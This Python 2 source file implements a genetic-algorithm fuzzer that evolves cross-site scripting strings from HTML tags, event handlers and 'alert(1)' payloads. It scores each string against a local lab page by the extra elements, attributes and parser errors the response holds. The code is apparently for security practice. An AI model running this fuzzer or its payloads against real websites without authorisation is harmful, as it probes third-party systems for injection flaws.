/
grammar.py
259 lines (241 loc) · 8.65 KB
/
grammar.py
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import requests # comunicacion http
from requests.utils import quote # codificacion
import random # generacion de numeros aleatorios
import urllib # coneccion con el server
import sys # comunicacion con el os
import webbrowser # manejo de navegadores
from bs4 import BeautifulSoup # analisis de codigo
from tidylib import tidy_document # analisis de codigo
# Clase que representa los genes del individuo
class grammar:
def __init__(self):
self.texts = ["abc "]
self.spaces = [' ']
self.handlers = [' onerror=',' onload=',' onmouseEnter=',' onmouseLeave=',' onMouseOut=',' onmouseover=',
' onpropertyChange=',' onreadyStateChange=',' onscroll=',' onResize=',' src=']
self.asigns = ['=']
self.payloads = ['"alert(1)"','"javascript:alert(1)"']
self.closers = ['>','">',"'>","/>"]
self.tags = ['<a href ','<body ','<form ','<frameset ','<iframe ','<img ','<input ','<script ','<video ']
self.data = [self.texts,self.spaces,self.handlers,self.payloads,self.tags,self.closers]
# Metodo que regresa un gen
def getGen(self):
gentype = random.randint(0,len(self.data)-1)
lengenpool = len(self.data[gentype])
genidx = random.randint(0,lengenpool-1)
return self.data[gentype][genidx]
# Clase para representar un individuo de la poblacion
class individual:
def __init__(self):
# genes del ejemplar
self.elems = []
self.numelems = 0
self.numatrs = 0
self.numerrors = 0
self.fitness = 0
# Metodos para insertar genes al individuo
def setData(self,data): self.elems.append(data)
def setNumElems(self,numelems): self.numelems = numelems
def setNumAtrs(self,numatrs): self.numatrs = numatrs
def setNumErrors(self,numerrors): self.numerrors = numerrors
def setFitness(self):
try:
self.fitness = self.numelems+self.numatrs - self.numerrors
except Exception as e:
self.fitness = 0
def getSize(self): return len(self.elems)
def __str__(self):
tmp = ''
for data in self.elems: tmp+=str(data)
return tmp
# Agente fuzzer recibe
# recurl: recurso al que hacerle fuzzing
# maxgenes: maximo numero de genes por individuos
# maxind: numero maximo de individuos
# it: maximo numero de iteraciones
class geneticalgorithm:
def __init__(self,recurl,maxgenes=10,maxind=20,it=10,verbose=False):
self.generation = 0
self.mutation_rate = 3
self.gram = grammar()
self.recurl,self.maxgenes = recurl,maxgenes
self.maxind,self.maxit= maxind,it
self.individuals = []
self.verbose = verbose
# we got the default number for elements and number of attributes
self.numelems,self.numatrs = self.testIndividual(self.recurl+'inicial')
self.numerrors = self.testIndividual2(self.recurl+'inicial')
print 'nmelems ',self.numelems
print 'numatts ',self.numatrs
print 'Running with\tMaxInd:%s\tMaxIt%s\tMaxGenes:%s' % (self.maxind,self.maxit,self.maxgenes)
# ejecucion del algoritmo genetico
def run(self):
print '[*] Getting initial poblation'
self.getInitialPoblation()
print '[*] Initial poblation with %s individuals ' % len(self.individuals)
self.getFitness()
for i in range(0,self.maxit):
# calculateFitness para todos los elementos
print '*'*40,' Selecting iteration %s ' % i,'*'*40
# seleccionamos
self.select()
# crossover
print '*'*50,' Crossover','*'*50
self.crossover()
# calculamos el fitness
print '*'*50,' Fitness','*'*50
self.getFitness()
self.individuals = sorted(self.individuals,key=lambda x: x.fitness,reverse=True)
# Regresa la poblacion inicial
def getInitialPoblation(self):
for i in range(0,self.maxind):
tmp = self.getIndividual()
while self.inPool(tmp):
tmp = self.getIndividual()
self.individuals.append(tmp)
# Regresa true si el elemento ya se encuentra en el pool genetico
def inPool(self,ind):
if ind in self.individuals: return True
return False
# Obtiene un individuo a partir de la gramatica
def getIndividual(self):
ind = individual()
numgenes = random.randint(0,self.maxgenes)
for i in range(0,numgenes):
gen = self.gram.getGen()
ind.setData(gen)
return ind
# Funcion que regresa el numero de elementos html y atributos producidos por la url
def getFitness(self):
for ind in self.individuals:
# Al recurso original se agrega la representacion del individuo
acturl = self.recurl+ind.__str__()
# Obtenemos el numero de elementos y atributos de la pagina
actnumelems,actnumatrs = self.testIndividual(acturl)
ind.setNumElems(actnumelems)
ind.setNumAtrs(actnumatrs)
# Y el numero de errores
numerrors = self.testIndividual2(acturl)
ind.setNumErrors(numerrors)
ind.setFitness()
print '[elems:%s attrs:%s errors:%s,fitness:%s]: %s' % (actnumelems,actnumatrs,numerrors,ind.fitness,acturl)
# Selecciona ejemplares de la poblacion
def select(self):
toremove = []
# ordenamos por fitness
self.individuals = sorted(self.individuals,key=lambda x: x.fitness,reverse=True)
for ind in self.individuals:
if self.verbose: print 'Checking [nelems:%s,nattrs:%s] %s' % (ind.numelems,ind.numatrs,ind)
if ind.numelems <= self.numelems or ind.numatrs <=self.numatrs:
toremove.append(ind)
# eliminamos los elementos de pool en individuals
if self.verbose:
print '#'*20,'|toremove|: %s' % len(toremove)
print '#'*20,'|individs|: %s' % len(self.individuals)
# umbral selectivo
idx = len(self.individuals)/2
self.individuals = self.individuals[0:idx]
print '#'*40,'SELECTED','#'*40
for tmp in self.individuals:
print '[nelems:%s,nattrs:%s,nerrors:%s,fit:%s]: %s' % (tmp.numelems,tmp.numatrs,tmp.numerrors,tmp.fitness,tmp)
# crossover
def crossover(self):
newelems = []
for ind in self.individuals:
nextelem = self.individuals[random.randint(0,len(self.individuals)-1)]
print '\n[Act]:%s \n[Nxt]:%s' % (ind,nextelem)
# obtenemos el indice de cruce
crossidx = ind.getSize()
if crossidx > nextelem.getSize(): crossidx = nextelem.getSize()
try:
crossidx = random.randint(0,crossidx-1)
# hacemos el cruce
newelem1,newelem2 = individual(),individual()
for elem in ind.elems[0:crossidx]+nextelem.elems[crossidx:]:
newelem1.setData(elem)
for elem in ind.elems[crossidx:]+nextelem.elems[0:crossidx]:
newelem2.setData(elem)
# Hacemos la mutacion
r1,r2 = random.randint(0,10),random.randint(0,10)
if r1 < self.mutation_rate: self.mutate(newelem1)
if r2 < self.mutation_rate: self.mutate(newelem2)
print 'Result1: ',newelem1.__str__(),'\nResult2: ',newelem2.__str__()
newelems.append(newelem1)
newelems.append(newelem2)
except Exception as e: pass
self.individuals+=newelems
# Cuenta el numero de elementos y sus atributos para verificar si hubo inyecciones
def testIndividual(self,furl):
r = urllib.urlopen(furl).read()
soup = BeautifulSoup(r,"lxml")
elems,atrs,numatrs = [],[],0
for elm in soup.find_all():
elems.append(elm)
numatrs+=len(elm.attrs.values())
atrs.append(elm.attrs.values())
if self.verbose:
print '\n','*'*70
print 'Testing: %s' % (furl)
print 'Response:\n%s' % r
print '#Elems: %s' % (len(elems))
print '#Attrs: %s' % (numatrs)
return (len(elems),numatrs)
# obtiene el numero de errores generados por la inyeccion
def testIndividual2(self,furl):
response = requests.get(furl).text
document, errors = tidy_document(response)
numerrors = errors.count('\n')
if self.verbose:
print '#Errors: %s' % (numerrors)
print 'Errors:\n%s' % (errors)
print '*'*70
return numerrors
# mutacion
def mutate(self,ind):
print 'Mutating '
r = random.randint(0,1)
# codificacion
if r == 0:
self.encode(ind)
# intercambio
else:
self.swap(ind)
# codifica un gen del individuo
def encode(self,ind):
try:
size = ind.getSize()
idx = random.randint(0,size-1)
gen = ind.elems[idx]
mgen = quote(gen)
if self.verbose: print 'Encoding %s ' % ind
ind.elems[idx] = mgen
if self.verbose: print ind
except Exception as e:
print e
# intercambia genes en los individuos
def swap(self,ind):
try:
size = ind.getSize()
idx1 = random.randint(0,size-1)
idx2 = random.randint(0,size-1)
if self.verbose:
print 'Swap:\t%s ' % (ind)
print 'idx1 %s idx2 %s' % (ind.elems[idx1],ind.elems[idx2])
gen1,gen2 = ind.elems[idx1],ind.elems[idx2]
ind.elems[idx2] = gen1
ind.elems[idx1] = gen2
if self.verbose: print ind
except Exception as e:
print e
# Regresa los resultados
def showResults(self):
print '\n'*5,'*'*100
for pind in genalg.individuals:
tmp = "%s%s" %(genalg.recurl,pind.__str__())
print '[nelems:%s,nattrs:%s,errors:%s,fit:%s]: %s' % (pind.numelems,pind.numatrs,pind.numerrors,pind.fitness,tmp)
#webbrowser.get('chromium').open(tmp)
print '*'*100
# recurl,maxgenes,maxind,maxit
genalg = geneticalgorithm('http://localhost/xss/low.php?name=',10,50,10,True)
genalg.run()
genalg.showResults()